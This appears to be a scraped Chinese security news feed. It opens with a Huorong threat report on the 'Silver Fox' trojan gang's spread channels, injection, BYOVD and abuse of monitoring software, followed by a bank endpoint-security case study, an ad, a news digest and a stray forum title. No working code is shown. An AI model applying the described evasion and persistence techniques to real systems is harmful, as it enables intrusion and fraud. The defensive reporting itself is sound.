银狐团伙的黑色产业链广泛渗透至金融、诈骗、政府机构及多个行业领域。从2021年直至2024年12月,“银狐”木马活动显著增多,且始终保持相当高的活跃度。起初,“银狐”组织将目标锁定在企业与机构中的关键岗位人员,如管理层、财务部门、销售团队以及电子商务从业者,通过定向钓鱼攻击获取敏感信息。随着时间的推移,银狐病毒高效的攻击模式与成功的示范效应逐渐引起其他网络犯罪分子的关注,他们开始模仿其攻击手段并进行传播,导致全球范围内类似攻击事件频发。不同于传统钓鱼木马攻击,“银狐”木马采用更为隐蔽的多级白进程劫持技术进行搭载。如今,不仅企业和机构深受其害,普通网民也面临着日益严峻的安全威胁。

火绒终端威胁情报系统的监测数据显示,“银狐”团伙在过去一年多,始终保持高度活跃,每月攻击频率呈现增高趋势,受害设备数量以每月数万台计。尤其是在2023年底,其攻击事件显著增长,这一攻击趋势在2024年仍在延续,且其影响范围也在不断扩大。

银狐事件曲线


通过对近期发现的“银狐”木马进行分析,得知其主要采用Win0s作为后门模块,以实现对用户电脑活动的监控。通过网上泄露的源代码可以看到,这类后门已具备键盘记录、查看屏幕(高速屏幕、娱乐屏幕、后台屏幕)、摄像头查看、文件管理、语音监听、远程终端执行、系统管理、驱动插件、注册表管理、压力测试等功能。

源代码对比图

Win0s 功能图


IP-Guard等行为管理软件本身是用于企业内部管理的工具,具备记录电脑日常操作的功能。而“银狐”组织利用这类软件,能够获取用户电脑的更多权限,从而记录用户电脑的日常操作,包括浏览网站、社交通信消息记录、文件外发跟踪、电子邮件劫持、智能截图、文件操作、打印机日志、剪贴板记录、屏幕录像等。因此,一旦“银狐”组织成功取得用户电脑的控制权,便会通过类似软件对木马进行更深层次的传播。

“银狐”团伙通过控制受害者的电脑屏幕,在社交平台(如微信、钉钉、企业微信)上实施一系列精心设计的操作,包括:

  1. 群聊传播木马:控制电脑屏幕将恶意木马文件转发至群聊,诱导群成员点击下载。一旦木马被运行,更多设备可能被感染,之后,迅速退出群聊以降低被发现的风险。

  2. 冒充上级实施诈骗:控制领导社交账号或管理人员,单独创建新群,假借紧急事务或企业内部需求,诱骗财务人员转账或泄露敏感信息。

这种手法结合了高度针对性的社会工程学攻击,不仅能实现恶意木马的快速传播,还会导致受害者损失惨重。本文后续将会针对此类木马进行详细分析。

IP-Guard 群聊传播

群聊二次传播

控制社交平台诈骗

Ping32 功能图



木马传播方式

“银狐”木马在传播过程中展现出高度的社工性和灵活性,以下是其主要传播途径:


1.定向政企财务钓鱼邮件

  • 邮件伪装:通过伪装成看似合法的发件人身份(如供应商、合作伙伴或客户)发送含有恶意附件或链接的邮件。这些附件通常以PDF、Word、Excel等常见文档格式出现,并会利用社会工程手段诱使受害者将其打开。

  • 宏代码攻击:如果附件是Office文件,则常常嵌入有恶意宏代码。一旦启用宏功能,这些恶意脚本就会被执行,进而下载和安装木马程序。

钓鱼邮件


2.伪造应用下载网页并推广

  • 假冒合法应用:创建高仿的应用下载页面,伪装为热门工具、游戏或办公软件,诱骗受害者下载含有木马的应用程序。

  • 搜索引擎广告投放:通过购买广告位或优化搜索引擎排名,使伪造页面出现在搜索结果前列,从而提高受害者下载恶意程序的概率。

钓鱼网页


3.网页挂马

  • 水坑攻击:在政企人员频繁访问的网站或论坛中植入恶意代码,受害者一旦访问,浏览器会自动下载并执行木马程序。

  • 广告劫持:利用恶意广告注入技术,在正常网页的广告弹窗分发木马。

4.色情信息诱导

  • 诱导下载:利用伪装成色情视频、图片等资源的链接和附件,引诱受害者下载恶意文件。

  • 钓鱼网站:搭建钓鱼网站并将其伪装成色情网站,受害者在访问或尝试下载内容时会被植入木马。

色情引诱


5.游戏资源传播

  • 盗版游戏私服:通过私服游戏客户端或外挂工具捆绑木马程序,吸引受害者下载。

  • 论坛分享:在游戏论坛或社群中发布伪装成游戏补丁、福利资源的木马程序,诱导受害者下载。

游戏私服


6.常见web Nday漏洞

  • 已知漏洞攻击:利用受害者使用的网站中常见的Nday漏洞(如Struts2、Log4j、WebLogic等)直接植入木马,入侵受害者系统。

  • 工具化攻击:借助自动化漏洞扫描工具批量检测受害者系统,并在漏洞存在时植入恶意程序。

7.社交信息

  • 键盘和鼠标劫持:通过木马获取受害者设备的控制权限,利用受害者的社交软件(如微信、企业微信、Telegram)向其联系人群发恶意链接或文件,达到木马传播的目的。

  • 信任链攻击:伪装为受害者本人发送的消息,增强恶意链接的可信度,从而扩散木马传播。

社交平台传播


8.供应链

  • 软件更新劫持:通过入侵第三方软件库,篡改其中的更新包或安装包,将木马伪装为合法软件的部分功能,借助供应链传播至受害者系统。

  • 外包或合作渠道渗透:利用受感染的外包服务商或合作伙伴的程序或系统,以共享文件或系统集成为媒介传播木马。

Github投毒事件



木马迭代

“银狐”木马的执行流程可分为以下三个阶段:

  • 单文件加载器:释放白加黑文件

  • 白加黑实现权限维持

  • 执行后门模块

而木马在各个阶段的攻击手法,也随着时间的推移在不断演变。其中,加载器的种类日趋多样,从最初的.exe文件发展到如今的.chm、.bat、.vbs、.msi等格式。同时,在编程语言的运用上也越发多元,涵盖了C、C++、C#、Go等多种语言。这一演变使得“银狐”木马能够更加灵活地突破安全防御,增加了防范和检测的难度。

伪装文件名


如今,其后门模块历经演变,也从原始Gh0st、大灰狼演变为DcRat、Win0s,甚至开始利用国内正规行为管理软件。


第一阶段:Gh0st

Gh0st 阶段的木马通常采用套MFC壳的方式,将恶意代码塞入MFC程序初始化对话框之后。当程序执行到恶意代码所在位置时,会通过简单的异或解密恶意代码,之后直接加载执行恶意代码。在此阶段,木马的后门主要是基于 Gh0st 内核改版的灰鸽子、大灰狼远控等远控工具。

Gh0st 加载流程

Gh0st 服务端

大灰狼服务端


第二阶段:DcRat

DcRat 是一种使用 C# 语言编写的后门远控工具。其背后的所依托的木马技术也随着 C# 语言的发展不断演变。C# 语言与 .NET Framework 和 Windows 系统深度集成,凭借其丰富的标准库和第三方库,能够更加便捷高效的实现木马功能。随着 .NET Core 的出现,C# 程序的运行平台从 Windows 扩展到了 Linux 和 macOS,大幅提升了其跨平台的适用性。这种演变不仅拓宽了木马的传播范围,还增强了它的灵活性与隐蔽性,为安全防护带来了新的挑战。

DcRat加载器

DcRat服务端


第三阶段:Win0s

自“银狐”木马采用 Win0s 作为后门模块以来,其权限维持技术在不断升级,与安全软件的对抗也进入了白热化阶段。“银狐”通过持续优化恶意代码加载器,结合内存加载 PE、白加黑技术以及多样化的进程注入手段,不断突破安全防线。其中,“银狐”对白加黑技术的利用尤为突出,它通过劫持白名单软件,将自身伪装为可信程序,从而规避杀软的监控和检测。此外,“银狐”还会通过多种系统特性进行提权操作,成功绕过进程链检测机制,并利用BYOVD技术在驱动层展开对抗,由此确保攻击者可以长期保持对目标系统的控制,以实现攻击行为的持续隐蔽与高效执行。

以下是银狐目前使用的技术手法:


1.RPC (Remote Procedure Call)远程调用

RPC (Remote Procedure Call)远程调用是一种进程间通信(IPC)协议。该技术能够隐藏网络通信的复杂性,使计算机程序像调用本地程序一样,对远程系统(通常是另一台计算机)上的程序或服务进行调用。RPC 远程调利用 ALPC 进行底层消息传递,能够通过 svchost.exe 启动进程,而借助 RPC 远程调用能够实现进程链的加白。

  • RPC 创建system权限进程

RPC提权


  • RPC创建计划任务

RPC创建计划任务


2.COM(组件对象模型)

COM(组件对象模型)是一种具有平台无关性,且遵循面向对象原则的分布式系统。它定义了一套标准的通信机制,允许处于不同应用程序或不同系统中的软件组件进行互操作。

  • 计划任务

计划任务


  • 提权

提权


  • 创建快捷方式

快捷方式


  • 设置防火墙

防火墙


  • 回调执行恶意代码

回调执行恶意代码


  • 越权复制文件

复制文件


3.注入

注入技术是一种通过操作系统提供的进程内存和线程控制API,将自定义代码或动态链接库(DLL)插入到目标进程的地址空间,以实现功能扩展或执行特定任务的技术。

  • APC注入

APC注入


  • CreateRemoteThread & NtCreateThreadEx 注入

远程线程注入


  • ResumeThread 注入

线程注入


4.DDR(Dead Drop Resolvers)

DDR(Dead Drop Resolvers)是一种攻击者使用合法域名网站来承载命令和控制服务器(C2)信息的技术。攻击者通常会利用该技术来绕过安全软件的流量检测。

  • 远程载荷 云对象存储COS

云对象存储COS


  • 云笔记

云笔记


5.BYOVD(Bring Your Own Vulnerable Driver)

BYOVD(Bring Your Own Vulnerable Driver)技术是指将存在漏洞的合法驱动程序投递至目标系统,凭借合法驱动程序的签名绕过DSE(强制驱动签名)的限制,并通过该驱动实现摘除内核的回调以及Rootkit的部署。

BYOVD

Win0s服务端


第四阶段:行为管理与监控软件的利用

1.IP-Guard

IP-Guard是某厂商开发的行为监控管理软件,具有实时监控与记录、远程控制、文件管理等功能,能够对用户终端的操作行为进行实时监控、审计以及管理,广泛应用于企业内部的安全管理。

通过溯源分析,“银狐”木马正在利用 IP-Guard 实现对受控主机进一步的权限维持。IP-Guard 生成的客户端通常带有数字签名,能被大部分杀毒软件默认信任,这为银狐的隐匿提供了更好的伪装。目前,火绒安全团队已联合 IP-Guard 官方展开针对性的打击行动,能够精准识别与查杀被滥用的 IP-Guard 版本,有效遏制银狐木马的传播和非法行为。

IP-Guard 服务端


2.Ping32

Ping32 是国内厂商开发的行为管理与监控软件,与IP-Guard类似,它通过多种功能模块记录、分析和控制终端用户的行为,提供IT管理支持。

随着安全厂商将 IP-Guard 滥用版本拉入黑名单并加强查杀力度,“银狐”木马正在调整策略,将权限维持工具更换为 Ping32 ,以进一步增强其隐匿性与对抗能力。木马的活动主要涉及财务、赌博、诈骗等相关领域的控制。

Ping32 服务端



溯源分析

1.HFS

Rejetto HFS(HTTP File Server) 是一款免费的 Windows 上基于 HTTP 协议的轻量级文件服务器软件,以简单易用、高度自定义的特性而受到欢迎,常用于快速文件共享和小型文件服务器的搭建。

通过对银狐木马的分析发现,其擅于使用Rejetto HFS作为恶意文件服务器,以下为发现的银狐木马文件服务器:

文件服务器


文件服务器


通过文件上传时间可以看到,目前该木马仍处于活跃传播状态。由于 HFS 存在 RCE 远程执行漏洞,我们可以通过此漏洞对银狐主机进行反制,开展进一步的溯源。

漏洞利用


2.搜索引擎

恶意攻击者会将钓鱼网页进行合法备案,将其伪装成正规网站。因为合法备案增加了网站的可信度,所以用户很容易对恶意网站产生信任。同时,攻击者能够利用搜索引擎的推广机制,通过为恶意网页支付推广费用来提高其曝光率和排名,从而诱骗用户点击钓鱼网页,下载并运行病毒样本。

以下为目前银狐正在利用的钓鱼网站相关信息:

钓鱼网站信息


对上述网站进行分析发现,银狐组织通过购买竞价排名,利用搜索引擎的推广机制,将自身伪装成向日葵、鲁大师、好压、钉钉等常用软件进行钓鱼传播。

搜索引擎广告推广


通过对上述域名的溯源分析发现,大部分域名的Whois指向了1410*****@qq.com邮箱,通过对邮箱中的QQ进行溯源分析发现其所指向的公司为“陕西齐兆华飞网络科技有限公司”。

信息溯源

域名指向公司的工商信息



样本分析

下面针对火绒终端威胁情报系统最新捕获的银狐样本进行分析:

该样本是一个恶意的 .exe 可执行程序,其背后隐藏着一个 Win0s 后门病毒。

初始样本将恶意代码写入本地系统,并通过多次进程注入来执行恶意代码和加载后门模块,从而在后台持续监控用户电脑活动。整个过程中能够在用户毫无察觉的情况下获取敏感信息并执行恶意操作。

该样本的加载流程图如下:

加载流程图


首先,对初始样本进行分析发现,样本通过检测常用软件的方式来检测虚拟机与沙箱,例如利用注册表以及桌面快捷方式进行检测。

检测虚拟机


随后,将恶意代码写入本地,再将其重新读取至内存并执行。

注:病毒作者以huorong字段作为文件名,以此迷惑用户。如果遇到类似名称的文件,请务必确保文件来源可靠,建议使用专业的火绒安全工具进行检查,以保障设备安全。

释放恶意代码


接着,样本通过APC & NtTestAlert的方式执行恶意代码。

APC 注入


解密出的恶意代码是一份用于内存加载DLL的shellcode,其通过拉伸区段、修复IAT、重定位表的方式加载DLL 。

内存加载DLL


dump出内存中的 DLL 进行静态分析。在DLLmain中,样本首先会判断系统版本号是否大于Win10:

1.若为Win10、Win11系统

  • 进程名称检测:检测程序名称是否包含执行数字。

  • 注入:采用线程池注入的方法,将恶意代码注入到explorer.exe 中。

2.若为Win10以下系统:

采用创建线程的方法执行恶意代码。

注入方式


当系统版本大于等于win10时,样本首先会检测程序名称是否包含指定数字,若匹配到就继续执行,否则退出程序。

匹配文件名称


检测完成后,将恶意代码以及后门网址写入注册表\HKEY_CURRENT_USER\Console,并释放到本地文件C:\Users\Public\Downloads\bb.jpg 中。

恶意代码注册表


之后,采用池注入的方法注入一份新的shellcode,以此加载释放到本地bb.jpg或者注册表中的恶意代码:

样本会先获取explorer.exe的句柄,之后再利用线程池注入的方法,将恶意代码注入到explorer.exe进程当中。

线程池注入


新的shellcode同样采用内存加载DLL的方式来加载DLLmain函数。从内存中将其dump出来进行分析:

注册表修改


成功读取恶意代码后,通过挂起进程的方式,利用ResumeThread函数实现将恶意代码注入到新的进程C:\\Windows\\explorer.exe 中。

注入explorer


注入到C:\\Windows\\explorer.exe进程中的shellcode,会通过网络下载后门模块的方式,利用异或解密其中内容,得到一份用于内存加载DLL的后门DLL。

下载后门模块


将下载到的后门模块进行dump分析,发现该模块是一个完整的后门模块DLL。

通过对shellcode的分析发现,内存加载DLL之后会执行导出函数load。

导出函数


进一步分析发现,该shellcode为Win0s的上线模块.dll。

上线模块.dll


分析发现,该样本的后门模块与2024年8月份火绒安全发布的“李鬼”软件暗设后门,对抗杀软侵蚀系统文章中的后门模块类型相同,同属于Win0s后门,具体细节可查看往期分析报告。

经过对比发现,在该样本的后门功能中,原本的线程监控键盘功能已被魔改为对带有银行、微信标题的窗口进行自动截图并将截图保存至C:\\ProgramData\\baiduScreenShot路径下。

自动截图



附录

1.分析样本C&C:


2.分析样本HASH:


3.近期活跃银狐样本C&C:


4.近期活跃银狐样本HASH:


阅读原文

跳转微信打开

诚邀渠道合作伙伴共启新征程

2025年1月16日 11:41

原创 火绒安全 2025-01-16 11:41 北京

随着业务的不断扩展和市场需求的增长,火绒安全寻求更多优秀的合作伙伴加入我们的行列。我们特别开启了渠道伙伴招募计划,期待与更多志同道合的伙伴一起把握行业趋势,共同开拓市场潜力,携手共创网络安全的美好未来!

对此感兴趣的伙伴可以点击海报进行了解、报名,我们期待您的加入!让我们携手以星火之势,绒聚成璀璨星辰,照亮网络安全的未来。







HUORONG

火绒安全成立于2011年,是一家专注、纯粹的安全公司,致力于在终端安全领域为用户提供专业的产品和专注的服务,并持续对外赋能反病毒引擎等相关自主研发技术。多年来,火绒安全产品凭借“专业、干净、轻巧”的特点收获了广大用户的良好口碑。火绒企业版产品更是针对企业内外网脆弱的环节,拓展了企业对于终端管理的范围和方式,提升了产品的兼容性、易用性,最终实现更直观的将威胁可视化、让管理轻便化,充分达到保护企业信息安全的目的。


阅读原文

跳转微信打开

终端安全案例研究 | 股份制商业银行终端安全一体化升级

2025年1月15日 17:28

2025-01-15 17:28 北京

该案例为其他科技服务企业提供了参考经验。


本案例正式收录于《新一代终端安全技术应用指南(2024版)》。项目亚信安全提供实施,并提供案例研究支持。


项目背景


某股份制商业银行是全国 19 家系统重要性银行之一,是上海证券交易所主板上市企业,位列 2023 年全球银行品牌 500 强,稳居全国城商行 Top 行列。

在金融业国产化及监管合规的大背景下,该银行需要将其现有的终端安全产品进行国产化替换。该银行组织规模庞大,拥有广泛的分支机构和大量的员工,终端设备数量数以万计,且架构多样,类型复杂。因此,该银行迫切需要一套能够实现不同架构终端的统一管理,支持多级分布式部署的终端信创产品。

该银行在终端安全方面面临的挑战主要包括:

  • 终端架构多样化与统一管理难题: 银行终端设备类型多样,包括个人电脑、服务器、ATM 机、POS 机等,且分布在总行、分行以及子公司等多个层级,管理起来非常复杂。银行业务涉及支付清算、客户服务、内部办公等多个场景,每个场景对终端设备的需求和安全要求都有所不同。银行的 IT 架构包括核心业务系统、支付清算系统、办公自动化系统等,这些系统可能运行在不同的硬件和软件平台上,增加了统一管理的难度。

  • 信创产品替换与兼容性挑战: 在信创替换过程中,需要保证业务不受影响,且银行的 IT 架构需要支持新旧系统的平滑过渡,同时保证新系统的安全性和兼容性,这增加了替换的复杂性。

  • 终端安全管理平台的整合难题: 金融机构普遍存在终端产品 agent 多、管理平台多的问题,导致管理效率低下,且容易出现安全漏洞。该银行需要一个能够整合各类终端安全管理工具的平台,以实现对全行终端的统一管理。

  • 终端安全防护与HVV 应: 金融行业每年都会面临 HVV(黑客攻击模拟)的挑战,这对终端安全防护提出了更高的要求。在 HVV 期间,银行需要确保所有终端设备都能够抵御外部攻击,保护客户和银行的数据安全。


项目实施


项目目标:

构建一个强壮、有效的终端安全运营体系,实现对全行终端的统一管理和安全防护。


项目需求:

信创非信创一体化管理: 实现对信创和非信创终端的统一管理,包括授权和策略的统一下发。

  • 攻击面管理: 提供未知资产发现、互联网暴露面资产发现、资产分级、漏洞风险管理等能力。

  • 全网威胁分析与处置: 提升办公终端全网威胁可视、可查、可控的能力。

  • 分域防控与纵深防御: 控制域间访问权限,防止网内风险跨域扩散。

  • 统一平台与分批建设: 基于统一平台建设,各子产品共用终端注册接口,方便用户逐步扩展应用。

  • 实施思路和方法论: 采用结合产品、防御策略、服务为一体的终端安全运营体系,构建逻辑结构为三层的终端安全管理体系,形成多层次的防护服务。


项目实施内容:

  • 部署亚信安全终端安全管理平台,支持多种信创 CPU 架构和多种操作系统,实现对信创和非信创终端的统一管理。

 集中管理示意图

  • 构建多层次的终端安全管理体系,包括总行、分支机构和二级控制中心,实现集中管理和分权管理;

  • 实施攻击面管理,提供未知资产发现、互联网暴露面资产发现、资产分级、漏洞风险管理等能力;

  • 实施全网威胁分析与处置,通过全网告警关联分析、告警聚合、调查分析、联动处置等配套机制,提升办公终端全网威胁可视、可查、可控的能力;

  • 实施分域防控与纵深防御,采用微隔离方式,将网络划分成不同的逻辑域,控制域间访问权限,防止网内风险跨域扩散。


关键成功因素


  • 技术优势: 亚信安全终端安全管理平台支持多种信创 CPU 架构和多种操作系统,实现了信创和非信创终端的统一管理。

  • 针对性: 方案实施充分考虑到了客户分权分域跨地区管理的需求,采用分域防控与纵深防御的设计,有效控制了风险的跨域扩散。

  • 创新性: 项目创新性引入攻击面管理和全网威胁分析与处置的理念,提升办公终端全网威胁可视、可查、可控的能力。

  • 可落地性: 项目采用了成熟的技术和解决方案,如终端安全一体化管理平台、攻击面管理、分域防控,项目的解决方案采用模块化设计,可以根据不同的业务场景和需求进行灵活配置和扩展。


项目收益


  • 提升业务处理效率: 业务系统部署周期缩短 30%,日常运维时间缩减一半,显著降低运维成本。

  • 减少风险暴露面: 通过攻击面管理方案,排查资产存在的攻击面并提供修复措施,减少企业 70% 的风险暴露面。

  • 提高运营效率: 通过全网告警关联聚合,减少 85% 的告警量,减少管理员分析告警的成本。


安全牛评

由于银行业对数据安全和业务连续性要求极高,且业务场景复杂多样、IT架构庞大,因此在终端管理上面临多重挑战,包括:终端架构多样化与统一管理的矛盾、信创产品替换中的兼容性问题、终端安全管理平台的整合难题,以及终端安全防护与HVV攻防演练的应对压力等。

亚信安全安全解决方案的核心优势体现在三大关键能力:一是实现信创与非信创环境的一体化终端管理;二是构建覆盖攻击面管理、全网威胁分析与处置的动态防御体系;三是建立分域防控与纵深防御的安全架构。在某银行案例中,该方案通过构建"终端准入-行为管控-威胁防护"的多层次安全管理体系,不仅实现了全行终端的统一纳管和安全防护,更有效解决了传统终端管理面临的架构分散、防护薄弱等难题。特别是在应对HVV等高级威胁方面,方案通过攻击面收敛、威胁情报联动和自动化响应等创新机制,显著提升了银行的主动防御能力和安全运营效率。

该股份制商业银行的成功经验,为其他面临类似挑战的金融机构提供了宝贵的借鉴经验,特别是对于组织规模庞大、拥有广泛分支机构和大量员工的银行或集团企业,具有一定的参考意义。



合作电话:18311333376

合作微信:aqniu001

投稿邮箱:[email protected]


阅读原文

跳转微信打开

又一BeyondTrust漏洞遭黑客利用;Fortinet修复已被在野利用零日漏洞,可攻破FortiGate防火墙 | 牛览

2025年1月15日 17:28

2025-01-15 17:28 北京

牛览网络安全全球资讯,洞察行业发展前沿态势!

点击蓝字·关注我们 aqniu

新闻速览


•英国拟禁止赎金支付,剑指勒索软件攻击

•又一BeyondTrust漏洞遭黑客利用

•OWASP发布十大"非人类身份安全风险"清单

•警惕网络犯罪新手法:伪造YouTube链接窃取登录凭证

•Fortinet修复已被在野利用FortiOS零日漏洞,可攻破FortiGate防火墙

•供应链安全警报:Kong  Ingress Controller v.3.4.0 镜像被篡改,系统变成挖矿设备

•PDF文件零日漏洞曝光:Adobe与Foxit  Reader中的NTLM泄露风险

•微软1月周二补丁日:修复159个漏洞,包含8个零日漏洞


特别关注


英国拟禁止赎金支付,剑指勒索软件攻击


英国即将实施一项重要政策,正式禁止赎金支付,以应对日益严重的勒索软件攻击。这项禁令将主要针对公共和关键基础设施部门,包括教育、交通、医院(包括国家医疗服务体系)以及银行等金融机构。2025年1月14日,英国内政部发布了一份咨询白皮书,详细说明了这一政策变更,预计不久将正式以行政命令的形式实施。


英国此次决定效仿美国,后者已采取措施,劝阻企业和公共部门支付赎金以换取解密密钥。实施这一政策的原因在于削弱网络犯罪分子的经济激励,从而减少这些对全球各行业造成重大干扰的攻击事件。除了禁止支付赎金外,提案还要求遭遇勒索软件攻击的企业和组织在三个工作日内向执法机构报告事件。未能遵守这一报告要求可能会面临法律处罚和其他后果。这一措施旨在确保迅速应对攻击,并使执法机构能够收集关键情报,以追踪和打击勒索软件活动。


国家犯罪局(NCA)与国家网络安全中心(NCSC)已开始提升公众对新政策及其影响的认识。尽管面临挑战,英国提议的赎金支付禁令标志着在打击网络犯罪方面迈出了大胆的一步。如果成功,这一政策可能为其他面临勒索软件攻击威胁的国家提供借鉴。


原文链接:

https://www.cybersecurity-insiders.com/uk-to-follow-america-in-imposing-a-ransomware-payment-ban/

 

又一BeyondTrust漏洞遭黑客利用


1月13日,美国网络安全与基础设施安全局(CISA)表示,一个影响BeyondTrust特权远程访问(PRA)和远程支持(RS)工具产品的漏洞CVE-2024-12686正在被黑客利用。CISA已将CVE-2024-12686添加到KEV中,并表示防御者应“根据供应商说明应用缓解措施,或在无法缓解时停止使用该产品"。根据KEV的标准补丁期限,联邦机构必须在2月3日之前应用缓解措施或停止使用PRA和RS。


CVE-2024-12686是一个中等严重程度的操作系统命令注入漏洞,影响BeyondTrust PRA和RS工具24.3.1及更早版本。该软件供应商上月初在调查客户遭到入侵时发现了这一漏洞,并于12月18日披露。


根据BeyondTrust关于CVE-2024-12686的安全公告,所有易受攻击的PRA和RS版本都存在命令注入缺陷,可被拥有管理权限的用户利用来上传恶意文件,"成功利用此漏洞可使远程攻击者在站点用户上下文中执行底层操作系统命令。"该供应商通过为RS和PRA 22.1及更高版本提供补丁来解决此问题。使用旧版本的客户必须升级才能应用相关补丁。


原文链接:

https://www.techtarget.com/searchsecurity/news/366618092/CISA-BeyondTrust-flaw-CVE-2024-12686-exploited-in-the-wild


OWASP发布十大"非人类身份安全风险"清单


1月14日,开放式网络应用程序安全项目(OWASP)发布了首个"非人类身份(NHI)十大安全风险"排行榜,旨在提高人们对于软件实体,如应用程序、API、机器人和自动化系统,获取授权访问安全资源时所面临的风险的认识,并提供可操作的指导和缓解漏洞的策略。


这10大风险包括:不当的身份注销、秘密泄露、第三方 NHI漏洞、不安全的身份认证、过度授权的 NHI、不安全的云部署配置、长期有效的秘密、环境隔离不足、NHI 重复使用和人为使用 NHI。OWASP的十大风险清单概述了最普遍的NHI风险及相关的缓解措施,帮助组织优先改善其安全态势。


报告强调,虽然许多NHI安全实践本身并不复杂,但在现代组织中,NHI的规模使其成为一大挑战。大量的NHI、多个身份提供商(IdP)、混合云环境和容器化工作流,使手动管理几乎不可能,需要借助高级工具。


原文链接:

https://cybersecuritynews.com/owasp-nhi-top-10/


网络攻击


警惕网络犯罪新手法:伪造YouTube链接窃取登录凭证


网络安全分析师最近发现,网络犯罪分子利用伪造的YouTube链接将用户重定向至钓鱼页面,从而窃取登录凭证。这种攻击手段通过对统一资源标识符(URI)的巧妙操控,掩盖了恶意意图,同时保持了链接的表面可信度。


在这一攻击中,网络犯罪分子通过精心设计的URI操控来欺骗用户。这些恶意链接通常以类似http://youtube的合法字符串开头。通过ANY.RUN的互动沙箱进行的分析显示,攻击者通过电子邮件分发恶意链接,受害者收到的邮件提示他们“查看已完成的文档”,邮件中嵌入的链接经过巧妙替换,使用了可识别的域名,使其看起来可信。点击后会将受害者重定向至一个专门设计的钓鱼页面,以窃取他们的登录凭证。攻击者还使用通常涉及多个中间域名的分层重定向技术,以逃避自动检测工具和用户的注意。当用户到达实际网站时,他们的警惕性往往降低,而钓鱼页面几乎与合法页面无异。


此次攻击与Storm1747组织有关,该组织依赖于一个组织良好的域名基础设施来实施攻击。他们的设置包括检查器、重定向器和主要钓鱼页面,所有这些都是使用Tycoon 2FA钓鱼工具包的标准化模板构建的。这些现成的组件使攻击者能够快速高效地部署大规模的钓鱼活动。


原文链接:

https://hackread.com/hackers-fake-youtube-links-steal-login-credentials/


Fortinet修复已被在野利用FortiOS零日漏洞,可攻破FortiGate防火墙


Fortinet近日修复了一个已经被在野利用数月的FortiOS零日缺陷。该缺陷影响FortiOS防火墙和FortiProxy网络网关,攻击者利用这一缺陷对公开暴露的FortiGate防火墙进行入侵。


该缺陷是一个身份验证绕过漏洞,允许远程攻击者通过对Node.js websocket模块的精心构造请求获得超级管理员权限,从而执行未经授权的代码或命令。该缺陷影响FortiOS版本7.0.0至7.0.16,以及FortiProxy版本7.0.0至7.0.19和7.2.0至7.2.12,且可在无需用户交互的情况下被利用。针对该缺陷的攻击始于11月中旬,涉及对防火墙管理接口的未经授权的管理员登录、新账户的创建、通过这些账户进行SSL VPN身份验证以及其他各种配置更改。


企业管理员被建议升级到修复版本:FortiOS 7.0.17及以上版本,FortiProxy 7.2.13及以上版本或7.0.20及以上版本,并检查已知的入侵迹象。如果无法立即更新设备,建议采取临时解决方案,例如将防火墙的基于Web的管理接口从公共互联网中移除。


原文链接:

https://www.helpnetsecurity.com/2025/01/14/fortinet-fortigate-zero-day-vulnerability-exploited-cve-2024-55591/


供应链安全警报:Kong Ingress Controller v.3.4.0 镜像被篡改,系统变成挖矿设备


近日,攻击者入侵了Kong的DockerHub账户,并将合法的Kong Ingress Controller v.3.4.0镜像替换为恶意版本。


这一漏洞源于2024年12月23日上传到DockerHub的未经授权的镜像。受影响的镜像(哈希值:sha256:a00659df0771d076fc9d0baf1f2f45e81ec9f13179f499d4cd940f57afc75d43)包含恶意代码,导致加密劫持。该恶意代码将控制器指向一个名为pool.supportxmr.com的加密货币挖矿网站,意味着该镜像中的代码会在运行受影响镜像的任何系统上秘密进行加密货币挖矿,将这些系统变成了意外的挖矿设备。这可能给组织带来严重后果,包括资源消耗增加、能源成本上升以及多种安全风险。受损镜像还可能引入漏洞或后门,使攻击者获得进一步访问权限。


Kong团队于2025年1月2日意识到这一问题,并从DockerHub上移除了版本3.4.0及所有相关标签,并更换了所有用于DockerHub访问的密钥。随后,修复版本3.4.1于2025年1月2日发布,移除了未经授权的加密劫持代码。Kong团队建议在2024年12月22日至2025年1月3日期间部署了Kong Ingress Controller版本3.4.0用户立即采取行动,从所有内部注册表和集群中删除该镜像。


原文链接:

https://hackread.com/malicious-kong-ingress-controller-image-dockerhub/

 

安全漏洞


PDF文件零日漏洞曝光:Adobe与Foxit Reader中的NTLM泄露风险


网络安全研究人员在EXPMON发现了一个严重的零日漏洞,该漏洞存在于PDF文件中,可能被攻击者利用以泄露敏感的NTLM认证数据。该漏洞涉及Adobe Reader和Foxit Reader在处理特定PDF操作时的安全隐患。


这一漏洞源于Adobe Reader和Foxit Reader处理特定/Launch操作的方式。如果被恶意行为者利用,这些行为可能导致NTLM信息的盗取,而NTLM是Windows网络中的关键认证机制。在Adobe Reader中打开该PDF样本时,应用程序会尝试查找名为“Applications”的网络资源。如果成功,它会在用户看到警告消息之前,主动连接并将NTLM凭证发送到服务器。虽然这种行为不允许攻击者使用公共域名,但在私有网络环境中,攻击者可以通过制作恶意PDF并使用攻击者控制的本地服务器,收集受害者的敏感NTLM信息。


安全专家建议Adobe Reader用户在Adobe尚未发布针对该行为的补丁之前,通过在Acrobat设置中禁用“自动信任来自Win OS安全区域的网站”功能来降低风险;Foxit Reader用户立即更新至Foxit Reader v2024.4或更高版本。


原文链接:

https://cybersecuritynews.com/zero-day-vulnerability-in-pdf-files-leaking-ntlm-data-in-adobe-foxit-reader/


微软1月周二补丁日:修复159个漏洞,包含8个零日漏洞


微软于2025年1月的周二补丁日发布了安全更新,修复了159个漏洞,其中包括:权限提升漏洞40个,安全功能绕过漏洞14个,远程代码执行漏洞58个,信息泄露漏洞24个,拒绝服务漏洞20个,伪造漏洞5个。


微软本次修复了3个正在被积极利用的零日漏洞:CVE-2025-21333、CVE-2025-21334、CVE-2025-21335。微软修复了这三个在Windows Hyper-V中被利用的权限提升漏洞,这些漏洞允许攻击者在Windows设备上获取SYSTEM权限。


微软本次修复了5个公开披露的零日漏洞:

  • CVE-2025-21275:Windows应用程序包安装程序权限提升漏洞。攻击者若成功利用此漏洞可获得SYSTEM权限;

  • CVE-2025-21308:Windows主题伪造漏洞。该漏洞可以通过在Windows资源管理器中显示特制的主题文件来利用。攻击者需要说服用户加载恶意文件,通常通过电子邮件或即时消息的诱惑来实现。

  • CVE-2025-21186、CVE-2025-21366、CVE-2025-21395:Microsoft Access远程代码执行漏洞。这三个漏洞是在打开特制的Microsoft Access文档时被利用的远程代码执行漏洞。微软通过阻止访问通过电子邮件发送的特定Microsoft Access文档来缓解此问题。


原文链接:

https://www.bleepingcomputer.com/news/microsoft/microsoft-january-2025-patch-tuesday-fixes-8-zero-days-159-flaws/


合作电话:18311333376

合作微信:aqniu001

投稿邮箱:[email protected]


阅读原文

跳转微信打开

类似 Duolingo 的应用,在国内上架移动端需要游戏版号吗

作者 steen1mango
